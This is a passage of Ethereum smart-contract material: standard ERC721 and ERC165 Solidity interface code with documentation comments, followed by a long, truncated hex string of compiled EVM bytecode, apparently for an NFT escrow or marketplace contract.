*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721Receiver.sol";
/**
* @dev Implementation of the {IERC721Receiver} interface.
*
* Accepts all token transfers.
* Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}.
*/
contract ERC721Holder is IERC721Receiver {
/**
* @dev See {IERC721Receiver-onERC721Received}.
*
* Always returns `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) {
return this.onERC721Received.selector;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
| 0x6080604052600436106101b65760003560e01c80638f11c693116100ec578063ac9237b81161008a578063d7f7993d11610064578063d7f7993d146104ed578063dd9123001461050d578063e969c8671461053a578063f66eef261461055a576101b6565b8063ac9237b81461048d578063acbf032f146104ad578063c270eefe146104cd576101b6565b80639334f8e9116100c65780639334f8e9146104185780639d19009d14610438578063a2e1c52d14610458578063a4921bb21461046d576101b6565b80638f11c693146103c5578063928473a5146103e5578063928ddb1514610405576101b6565b806324f39fcc116101595780633cedd99d116101335780633cedd99d1461033857806360642d4f146103585780637bef8ca4146103785780638768d09714610398576101b6565b806324f39fcc146102d85780633502a32b146102f85780633b31fed814610318576101b6565b8063150b7a0211610195578063150b7a021461023e578063150f01d01461026b578063181e0aee146102985780631a75417e146102b8576101b6565b806285bf80146101bb578063043ac4bc146101f15780630491fd951461021e575b600080fd5b3480156101c757600080fd5b506101db6101d6366004614823565b61057a565b6040516101e89190614a0e565b60405180910390f35b3480156101fd57600080fd5b5061021161020c366004614823565b610590565b6040516101e89190614937565b34801561022a57600080fd5b506101db61023936600461484e565b6105bf565b34801561024a57600080fd5b5061025e610259366004614465565b610917565b6040516101e89190614a19565b34801561027757600080fd5b5061028b610286366004614823565b610927565b6040516101e891906150bc565b3480156102a457600080fd5b506101db6102b3366004614786565b610955565b3480156102c457600080fd5b5061028b6102d3366004614823565b6109c0565b3480156102e457600080fd5b506102116102f3366004614823565b610a93565b34801561030457600080fd5b506101db6103133660046145c7565b610b9b565b34801561032457600080fd5b506101db61033336600461466b565b610bca565b34801561034457600080fd5b5061028b610353366004614823565b610be2565b34801561036457600080fd5b5061028b610373366004614823565b610c10565b34801561038457600080fd5b506101db6103933660046146be565b610c3e565b3480156103a457600080fd5b506103b86103b33660046147eb565b610c9c565b6040516101e89190614989565b3480156103d157600080fd5b506101db6103e0366004614823565b610d90565b3480156103f157600080fd5b506101db610400366004614895565b610f2e565b6101db610413366004614823565b6114d3565b34801561042457600080fd5b506101db610433366004614895565b611716565b34801561044457600080fd5b506101db610453366004614535565b6119c4565b34801561046457600080fd5b50610211611ba5565b34801561047957600080fd5b506101db610488366004614823565b611bb4565b34801561049957600080fd5b5061028b6104a83660046143c9565b611be5565b3480156104b957600080fd5b506101db6104c83660046148c9565b611d39565b3480156104d957600080fd5b506102116104e8366004614823565b6122df565b3480156104f957600080fd5b506101db61050836600461472c565b61230e565b34801561051957600080fd5b5061052d610528366004614391565b612377565b6040516101e891906149d6565b34801561054657600080fd5b506101db610555366004614823565b6123e6565b34801561056657600080fd5b506101db610575366004614413565b6125f9565b600061058983836000806105bf565b9392505050565b6001600160a01b0391821660009081526001602090815260408083209383526006909301905220600501541690565b60006001600160a01b0385166105f05760405162461bcd60e51b81526004016105e790614dfb565b60405180910390fd5b6040516331a9108f60e11b815285906000906001600160a01b03831690636352211e906106219089906004016150bc565b60206040518083038186803b15801561063957600080fd5b505afa15801561064d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067191906143ad565b9050336001600160a01b038216148061069457506000546001600160a01b031633145b6106b05760405162461bcd60e51b81526004016105e790614ccf565b60405163e985e9c560e01b81526001600160a01b0383169063e985e9c5906106de908490309060040161494b565b60206040518083038186803b1580156106f657600080fd5b505afa15801561070a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072e9190614903565b806107bd575060405163020604bf60e21b815230906001600160a01b0384169063081812fc90610762908a906004016150bc565b60206040518083038186803b15801561077a57600080fd5b505afa15801561078e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b291906143ad565b6001600160a01b0316145b6107d95760405162461bcd60e51b81526004016105e790614eda565b84156107ec576107ea878786611716565b505b6001600160a01b0387811660009081526001602090815260408083208a84526006019091529081902080546001600160a01b03191684841617905551632142170760e11b8152908316906342842e0e9061084e90849030908b90600401614965565b600060405180830381600087803b15801561086857600080fd5b505af115801561087c573d6000803e3d6000fd5b505050506001600160a01b0387811660009081526001602090815260408083208a845260060190915290206005015416156108bd576108bb8787613320565b505b806001600160a01b031686886001600160a01b03167fc9517d573655effd896ff5aa0d59c398bfb7655f4c7005ad99c08b7be346702860016040516109029190614a0e565b60405180910390a45060019695505050505050565b630a85bd0160e11b949350505050565b6001600160a01b03909116600090815260016020818152604080842094845260069094019052919020015490565b6000805b848110156109b6576109938787878481811061098557634e487b7160e01b600052603260045260246000fd5b905060200201358686611d39565b6109a057600091506109b6565b60019150806109ae816151a5565b915050610959565b5095945050505050565b60006001600160a01b0383166109e85760405162461bcd60e51b81526004016105e790614dfb565b6040516331a9108f60e11b815283906000906001600160a01b03831690636352211e90610a199087906004016150bc565b60206040518083038186803b158015610a3157600080fd5b505afa158015610a45573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6991906143ad565b90506001600160a01b038116301415610a86578392505050610a8d565b6000925050505b92915050565b6001600160a01b038281166000908152600160209081526040808320858452600601909152812054909116610b6e576001600160a01b038316610ae85760405162461bcd60e51b81526004016105e790614dfb565b6040516331a9108f60e11b815283906001600160a01b03821690636352211e90610b169086906004016150bc565b60206040518083038186803b158015610b2e57600080fd5b505afa158015610b42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6691906143ad565b915050610a8d565b506001600160a01b0391821660009081526001602090815260408083209383526006909301905220541690565b6000610bab8989898989896119c4565b8015610bbd5750610bbd898484611716565b9998505050505050505050565b6000610bda848484600080610c3e565b949350505050565b6001600160a01b03909116600090815260016020908152604080832093835260069384019091529020015490565b6001600160a01b03909116600090815260016020908152604080832093835260069093019052206004015490565b6000805b84811015610c8f57610c7c87878784818110610c6e57634e487b7160e01b600052603260045260246000fd5b9050602002013586866105bf565b5080610c87816151a5565b915050610c42565b5060019695505050505050565b60608115610d18576001600160a01b03831660009081526001602090815260409182902080548351818402810184019094528084529091830182828015610d0c57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610cee575b50505050509050610a8d565b6001600160a01b03831660009081526001602090815260409182902060030180548351818402810184019094528084529091830182828015610d8357602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610d65575b5050505050905092915050565b60006001600160a01b038316610db85760405162461bcd60e51b81526004016105e790614dfb565b6001600160a01b03838116600090815260016020908152604080832086845260060190915290206005015416331480610e1857506001600160a01b0383811660009081526001602090815260408083208684526006019091529020541633145b80610e2d57506000546001600160a01b031633145b610e495760405162461bcd60e51b81526004016105e790614c7a565b6001600160a01b03838116600090815260016020908152604080832086845260069081019092528083206005810154920154905191909316926108fc81150292909190818181858888f19350505050158015610ea9573d6000803e3d6000fd5b506001600160a01b038316600081815260016020908152604080832086845260069081019092528083206005810180546001600160a01b0319169055909101829055513392859290917f3b4eb4c868a274dc020545e722135a4a8b6b07ddd97e746e9b74e932c1a02f6291610f1d91614a0e565b60405180910390a450600192915050565b60006001600160a01b038416610f565760405162461bcd60e51b81526004016105e790614dfb565b6064821115610f775760405162461bcd60e51b81526004016105e790614e88565b6040516331a9108f60e11b815284906000906001600160a01b03831690636352211e90610fa89088906004016150bc565b60206040518083038186803b158015610fc057600080fd5b505afa158015610fd4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff891906143ad565b9050336001600160a01b038216148061101b57506000546001600160a01b031633145b6110375760405162461bcd60e51b81526004016105e790614ccf565b60405163e985e9c560e01b81526001600160a01b0383169063e985e9c590611065908490309060040161494b565b60206040518083038186803b15801561107d57600080fd5b505afa158015611091573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b59190614903565b80611144575060405163020604bf60e21b815230906001600160a01b0384169063081812fc906110e99089906004016150bc565b60206040518083038186803b15801561110157600080fd5b505afa158015611115573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113991906143ad565b6001600160a01b0316145b6111605760405162461bcd60e51b81526004016105e790614d87565b6001600160a01b0386811660009081526001602090815260408083208984526006019091529020600301541615806111c557506001600160a01b0386811660009081526001602090815260408083208984526006019091529020600301548116908216145b806111fa57506001600160a01b0386811660009081526001602090815260408083208984526006019091529020548116908216145b156114bc576001600160a01b0386811660009081526001602090815260408083208984526006019091529020600301541661126f576001600160a01b038681166000908152600160209081526040808320898452600601909152902060030180546001600160a01b0319169183169190911790555b6001600160a01b038681166000908152600160209081526040808320898452600601909152902060030154811690821614806112d257506001600160a01b0386166000908152600160209081526040808320888452600601909152902060040154155b8061130757506001600160a01b0386811660009081526001602090815260408083208984526006019091529020548116908216145b6113235760405162461bcd60e51b81526004016105e790614a2e565b6001600160a01b03861660008181526001602081815260408084208a855260068101835290842060040154948452919052600301905b815481101561146b57600160008a6001600160a01b03166001600160a01b0316815260200190815260200160002060030173ebda821d01ffec8f07d62876095ffb98ee57c854637bbd13b990918484815481106113c657634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546040516001600160e01b031960e085901b1681526113fd92916001600160a01b0316906004016150c5565b60206040518083038186803b15801561141557600080fd5b505af4158015611429573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144d919061491f565b6114579084615137565b925080611463816151a5565b915050611359565b50606482111561148d5760405162461bcd60e51b81526004016105e790614bca565b50506001600160a01b038616600090815260016020908152604080832088845260060190915290206004018490555b6114c986866000806105bf565b9695505050505050565b60006001600160a01b0383166114fb5760405162461bcd60e51b81526004016105e790614dfb565b6001600160a01b03838116600090815260016020908152604080832086845260060190915290206005015416158061155d57506001600160a01b0383811660009081526001602090815260408083208684526006019091529020600501541633145b6115795760405162461bcd60e51b81526004016105e79061500b565b6001600160a01b03831660009081526001602081815260408084208685526006908101909252909220908101549101546115b4903490615137565b10156115d25760405162461bcd60e51b81526004016105e790614f4d565b6001600160a01b0383166000908152600160209081526040808320858452600690810190925282206005810180546001600160a01b0319163317905501805434929061161f908490615137565b90915550506040516331a9108f60e11b8152839030906001600160a01b03831690636352211e906116549087906004016150bc565b60206040518083038186803b15801561166c57600080fd5b505afa158015611680573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116a491906143ad565b6001600160a01b031614156116bf576116bd8484613320565b505b336001600160a01b031683856001600160a01b03167f3b4eb4c868a274dc020545e722135a4a8b6b07ddd97e746e9b74e932c1a02f6260016040516117049190614a0e565b60405180910390a45060019392505050565b60006001600160a01b03841661173e5760405162461bcd60e51b81526004016105e790614dfb565b6040516331a9108f60e11b815284906000906001600160a01b03831690636352211e9061176f9088906004016150bc565b60206040518083038186803b15801561178757600080fd5b505afa15801561179b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117bf91906143ad565b9050336001600160a01b03821614806117e257506000546001600160a01b031633145b6117fe5760405162461bcd60e51b81526004016105e79061504d565b6001600160a01b03811630148061188e575060405163e985e9c560e01b81526001600160a01b0383169063e985e9c59061183e908490309060040161494b565b60206040518083038186803b15801561185657600080fd5b505afa15801561186a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061188e9190614903565b8061191d575060405163020604bf60e21b815230906001600160a01b0384169063081812fc906118c29089906004016150bc565b60206040518083038186803b1580156118da57600080fd5b505afa1580156118ee573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061191291906143ad565b6001600160a01b0316145b6119395760405162461bcd60e51b81526004016105e790614b60565b6001600160a01b0386811660008181526001602081815260408084208b85526006019091529182902080546001600160a01b0319169486169490941784559290920186905590518691907f485a6f13a70549fa5317659b6d17609f4ae143c052ef5a19ec425c7e15d53afa906119b09088906150bc565b60405180910390a350600195945050505050565b60008483146119e55760405162461bcd60e51b81526004016105e790614d39565b6005851115611a065760405162461bcd60e51b81526004016105e790614e42565b8115611a90576001600160a01b038716600090815260016020526040908190209051631db3876760e11b815273ebda821d01ffec8f07d62876095ffb98ee57c85491633b670ece91611a5b91906004016150bc565b60006040518083038186803b158015611a7357600080fd5b505af4158015611a87573d6000803e3d6000fd5b50505050611b13565b6001600160a01b038716600090815260016020526040908190209051631db3876760e11b815273ebda821d01ffec8f07d62876095ffb98ee57c85491633b670ece91611ae291600301906004016150bc565b60006040518083038186803b158015611afa57600080fd5b505af4158015611b0e573d6000803e3d6000fd5b505050505b60005b85811015611b9757611b8488888884818110611b4257634e487b7160e01b600052603260045260246000fd5b9050602002016020810190611b579190614391565b878785818110611b7757634e487b7160e01b600052603260045260246000fd5b90506020020135866125f9565b5080611b8f816151a5565b915050611b16565b506001979650505050505050565b6000546001600160a01b031681565b6001600160a01b03909116600090815260016020908152604080832093835260069093019052206002015460ff1690565b60008115611c95576001600160a01b038416600090815260016020526040908190209051637bbd13b960e01b815273ebda821d01ffec8f07d62876095ffb98ee57c85491637bbd13b991611c3e919087906004016150c5565b60206040518083038186803b158015611c5657600080fd5b505af4158015611c6a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c8e919061491f565b9050610589565b6001600160a01b038416600090815260016020526040908190209051637bbd13b960e01b815273ebda821d01ffec8f07d62876095ffb98ee57c85491637bbd13b991611ce9916003019087906004016150c5565b60206040518083038186803b158015611d0157600080fd5b505af4158015611d15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bda919061491f565b60006001600160a01b038516611d615760405162461bcd60e51b81526004016105e790614dfb565b6064831115611d825760405162461bcd60e51b81526004016105e790614e88565b6040516331a9108f60e11b815285906000906001600160a01b03831690636352211e90611db39089906004016150bc565b60206040518083038186803b158015611dcb57600080fd5b505afa158015611ddf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e0391906143ad565b9050336001600160a01b0382161480611e2657506000546001600160a01b031633145b611e425760405162461bcd60e51b81526004016105e790614ccf565b60405163e985e9c560e01b81526001600160a01b0383169063e985e9c590611e70908490309060040161494b565b60206040518083038186803b158015611e8857600080fd5b505afa158015611e9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ec09190614903565b80611f4f575060405163020604bf60e21b815230906001600160a01b0384169063081812fc90611ef4908a906004016150bc565b60206040518083038186803b158015611f0c57600080fd5b505afa158015611f20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f4491906143ad565b6001600160a01b0316145b611f6b5760405162461bcd60e51b81526004016105e790614d87565b6001600160a01b0387811660009081526001602090815260408083208a8452600601909152902060030154161580611fd057506001600160a01b0387811660009081526001602090815260408083208a84526006019091529020600301548116908216145b8061200557506001600160a01b0387811660009081526001602090815260408083208a84526006019091529020548116908216145b156122c7576001600160a01b0387811660009081526001602090815260408083208a84526006019091529020600301541661207a576001600160a01b0387811660009081526001602090815260408083208a8452600601909152902060030180546001600160a01b0319169183169190911790555b6001600160a01b0387811660009081526001602090815260408083208a8452600601909152902060030154811690821614806120dd57506001600160a01b0387166000908152600160209081526040808320898452600601909152902060040154155b8061211257506001600160a01b0387811660009081526001602090815260408083208a84526006019091529020548116908216145b61212e5760405162461bcd60e51b81526004016105e790614a2e565b6001600160a01b03871660008181526001602081815260408084208b855260068101835290842060040154948452919052600301905b815481101561227657600160008b6001600160a01b03166001600160a01b0316815260200190815260200160002060030173ebda821d01ffec8f07d62876095ffb98ee57c854637bbd13b990918484815481106121d157634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546040516001600160e01b031960e085901b16815261220892916001600160a01b0316906004016150c5565b60206040518083038186803b15801561222057600080fd5b505af4158015612234573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612258919061491f565b6122629084615137565b92508061226e816151a5565b915050612164565b5060648211156122985760405162461bcd60e51b81526004016105e790614bca565b50506001600160a01b038716600090815260016020908152604080832089845260060190915290206004018590555b6122d487876001876105bf565b979650505050505050565b6001600160a01b0391821660009081526001602090815260408083209383526006909301905220600301541690565b6000805b8381101561236e5761234b8686868481811061233e57634e487b7160e01b600052603260045260246000fd5b9050602002013585610f2e565b612358576000915061236e565b6001915080612366816151a5565b915050612312565b50949350505050565b6001600160a01b0381166000908152600160209081526040918290206007018054835181840281018401909452808452606093928301828280156123da57602002820191906000526020600020905b8154815260200190600101908083116123c6575b50505050509050919050565b60006001600160a01b03831661240e5760405162461bcd60e51b81526004016105e790614dfb565b6001600160a01b0380841660009081526001602090815260408083208684526006019091529020548491163381148061245157506000546001600160a01b031633145b61246d5760405162461bcd60e51b81526004016105e790614ccf565b60405163e985e9c560e01b81526001600160a01b0383169063e985e9c59061249b908490309060040161494b565b60206040518083038186803b1580156124b357600080fd5b505afa1580156124c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124eb9190614903565b6125075760405162461bcd60e51b81526004016105e790614eda565b6001600160a01b0385811660009081526001602090815260408083208884526006019091528082206003810180546001600160a01b031916905560049081019290925551632142170760e11b8152918416916342842e0e9161256f91309186918a9101614965565b600060405180830381600087803b15801561258957600080fd5b505af115801561259d573d6000803e3d6000fd5b50505050806001600160a01b031684866001600160a01b03167fc9517d573655effd896ff5aa0d59c398bfb7655f4c7005ad99c08b7be346702860006040516125e69190614a0e565b60405180910390a4506001949350505050565b600080546001600160a01b03163381146126255760405162461bcd60e51b81526004016105e790614a65565b6001600160a01b03861661264b5760405162461bcd60e51b81526004016105e790614dfb565b6001600160a01b0385166126715760405162461bcd60e51b81526004016105e790614c34565b60648411156126925760405162461bcd60e51b81526004016105e790614b0a565b60008315612b3c5784612826576001600160a01b0387166000908152600160205260409081902090516361d3a31360e11b815273ebda821d01ffec8f07d62876095ffb98ee57c8549163c3a74626916126f091908a906004016150c5565b60006040518083038186803b15801561270857600080fd5b505af415801561271c573d6000803e3d6000fd5b505050506001600160a01b038781166000818152600160205260409081902090516343ec8fc560e11b8152928916927f554f5cb9b018db2d172af0d64fd0e27ea5aaf536ab95ca2c0851a80db479137c91899173ebda821d01ffec8f07d62876095ffb98ee57c854916387d91f8a9161279891906004016150bc565b60206040518083038186803b1580156127b057600080fd5b505af41580156127c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127e8919061491f565b6001600160a01b038c166000908152600160208190526040918290200154905161281493929190615121565b60405180910390a3600192505061236e565b6001600160a01b03871660009081526001602052604090819020905163d64b305d60e01b815273ebda821d01ffec8f07d62876095ffb98ee57c8549163d64b305d9161287791908a906004016150c5565b60206040518083038186803b15801561288f57600080fd5b505af41580156128a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128c79190614903565b15612a5a576001600160a01b0387166000908152600160205260409081902090516343ec8fc560e11b815260059173ebda821d01ffec8f07d62876095ffb98ee57c854916387d91f8a9161291d916004016150bc565b60206040518083038186803b15801561293557600080fd5b505af4158015612949573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061296d919061491f565b111561298b5760405162461bcd60e51b81526004016105e790614e42565b6001600160a01b038716600090815260016020526040908190209051637bbd13b960e01b815273ebda821d01ffec8f07d62876095ffb98ee57c85491637bbd13b9916129dc91908a906004016150c5565b60206040518083038186803b1580156129f457600080fd5b505af4158015612a08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a2c919061491f565b6001600160a01b03881660009081526001602081905260409091200154612a53919061518e565b9050612b37565b6001600160a01b0387166000908152600160205260409081902090516343ec8fc560e11b815260059173ebda821d01ffec8f07d62876095ffb98ee57c854916387d91f8a91612aab916004016150bc565b60206040518083038186803b158015612ac357600080fd5b505af4158015612ad7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612afb919061491f565b10612b185760405162461bcd60e51b81526004016105e790614e42565b506001600160a01b038616600090815260016020819052604090912001545b612fda565b84612cbc576001600160a01b0387166000908152600160205260409081902090516361d3a31360e11b815273ebda821d01ffec8f07d62876095ffb98ee57c8549163c3a7462691612b9591600301908a906004016150c5565b60006040518083038186803b158015612bad57600080fd5b505af4158015612bc1573d6000803e3d6000fd5b505050506001600160a01b038781166000818152600160205260409081902090516343ec8fc560e11b8152928916927fcd5d8d6d03077d43e5ad33fad6a4540dd26cd198927dcde9f99f3d62ef3254a991899173ebda821d01ffec8f07d62876095ffb98ee57c854916387d91f8a91612c4091600301906004016150bc565b60206040518083038186803b158015612c5857600080fd5b505af4158015612c6c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c90919061491f565b6001600160a01b038c166000908152600160205260409081902060040154905161281493929190615121565b6001600160a01b03871660009081526001602052604090819020905163d64b305d60e01b815273ebda821d01ffec8f07d62876095ffb98ee57c8549163d64b305d91612d1091600301908a906004016150c5565b60206040518083038186803b158015612d2857600080fd5b505af4158015612d3c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d609190614903565b15612ef8576001600160a01b0387166000908152600160205260409081902090516343ec8fc560e11b815260059173ebda821d01ffec8f07d62876095ffb98ee57c854916387d91f8a91612dbc916003909101906004016150bc565b60206040518083038186803b158015612dd457600080fd5b505af4158015612de8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e0c919061491f565b1115612e2a5760405162461bcd60e51b81526004016105e790614e42565b6001600160a01b038716600090815260016020526040908190209051637bbd13b960e01b815273ebda821d01ffec8f07d62876095ffb98ee57c85491637bbd13b991612e7b91908a906004016150c5565b60206040518083038186803b158015612e9357600080fd5b505af4158015612ea7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ecb919061491f565b6001600160a01b038816600090815260016020526040902060040154612ef1919061518e565b9050612fda565b6001600160a01b0387166000908152600160205260409081902090516343ec8fc560e11b815260059173ebda821d01ffec8f07d62876095ffb98ee57c854916387d91f8a91612f4f916003909101906004016150bc565b60206040518083038186803b158015612f6757600080fd5b505af4158015612f7b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f9f919061491f565b10612fbc5760405162461bcd60e51b81526004016105e790614e42565b506001600160a01b0386166000908152600160205260409020600401545b6064612fe68287615137565b11156130045760405162461bcd60e51b81526004016105e790614ac4565b831561318e576001600160a01b0387166000908152600160205260409081902090516337ce0e9960e21b815273ebda821d01ffec8f07d62876095ffb98ee57c8549163df383a649161305d91908a908a906004016150dc565b60006040518083038186803b15801561307557600080fd5b505af4158015613089573d6000803e3d6000fd5b505050506001600160a01b038781166000818152600160205260409081902090516343ec8fc560e11b8152928916927f554f5cb9b018db2d172af0d64fd0e27ea5aaf536ab95ca2c0851a80db479137c91899173ebda821d01ffec8f07d62876095ffb98ee57c854916387d91f8a9161310591906004016150bc565b60206040518083038186803b15801561311d57600080fd5b505af4158015613131573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613155919061491f565b6001600160a01b038c166000908152600160208190526040918290200154905161318193929190615121565b60405180910390a3610c8f565b6001600160a01b0387166000908152600160205260409081902090516337ce0e9960e21b815273ebda821d01ffec8f07d62876095ffb98ee57c8549163df383a64916131e491600301908a908a906004016150dc565b60006040518083038186803b1580156131fc57600080fd5b505af4158015613210573d6000803e3d6000fd5b505050506001600160a01b038781166000818152600160205260409081902090516343ec8fc560e11b8152928916927fcd5d8d6d03077d43e5ad33fad6a4540dd26cd198927dcde9f99f3d62ef3254a991899173ebda821d01ffec8f07d62876095ffb98ee57c854916387d91f8a9161328f91600301906004016150bc565b60206040518083038186803b1580156132a757600080fd5b505af41580156132bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132df919061491f565b6001600160a01b038c166000908152600160205260409081902060040154905161330b93929190615121565b60405180910390a35060019695505050505050565b6040516331a9108f60e11b8152600090839030906001600160a01b03831690636352211e906133539087906004016150bc565b60206040518083038186803b15801561336b57600080fd5b505afa15801561337f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133a391906143ad565b6001600160a01b0316146133c95760405162461bcd60e51b81526004016105e790614f84565b6001600160a01b038481166000908152600160209081526040808320878452600601909152902060050154166134115760405162461bcd60e51b81526004016105e790614a94565b6001600160a01b0384166000908152600160208181526040808420878552600690810190925290922090810154910154101561345f5760405162461bcd60e51b81526004016105e790614fbb565b6001600160a01b03848116600090815260016020908152604080832087845260060190915290819020600501549051632142170760e11b8152828416926342842e0e926134b792309291909116908890600401614965565b600060405180830381600087803b1580156134d157600080fd5b505af11580156134e5573d6000803e3d6000fd5b505050506001600160a01b038416600090815260016020908152604080832086845260060190915290206002015460ff16613ae8576001600160a01b03841660009081526001602052604080822090516343ec8fc560e11b815273ebda821d01ffec8f07d62876095ffb98ee57c854916387d91f8a9161356891906004016150bc565b60206040518083038186803b15801561358057600080fd5b505af4158015613594573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906135b8919061491f565b11156139e0576000805b6001600160a01b0386166000908152600160205260409081902090516343ec8fc560e11b815273ebda821d01ffec8f07d62876095ffb98ee57c854916387d91f8a9161361191906004016150bc565b60206040518083038186803b15801561362957600080fd5b505af415801561363d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613661919061491f565b8110156138c7576001600160a01b0386166000908152600160205260408082209051636ad22f5160e01b815273ebda821d01ffec8f07d62876095ffb98ee57c85491636ad22f51916136b8919086906004016150fb565b60206040518083038186803b1580156136d057600080fd5b505af41580156136e4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061370891906143ad565b6001600160a01b0388166000908152600160205260408082209051637bbd13b960e01b8152929350909173ebda821d01ffec8f07d62876095ffb98ee57c85491637bbd13b99161375d919086906004016150c5565b60206040518083038186803b15801561377557600080fd5b505af4158015613789573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906137ad919061491f565b905060646137bb8286615137565b11156137da5760646137cd8286615137565b6137d7919061518e565b90505b6001600160a01b03881660009081526001602090815260408083208a845260069081019092528220015460649061381290849061516f565b61381c919061514f565b6040519091506001600160a01b0384169082156108fc029083906000818181858888f19350505050158015613855573d6000803e3d6000fd5b50826001600160a01b0316888a6001600160a01b03166000805160206152138339815191528486600160405161388d93929190615109565b60405180910390a461389f8286615137565b9450606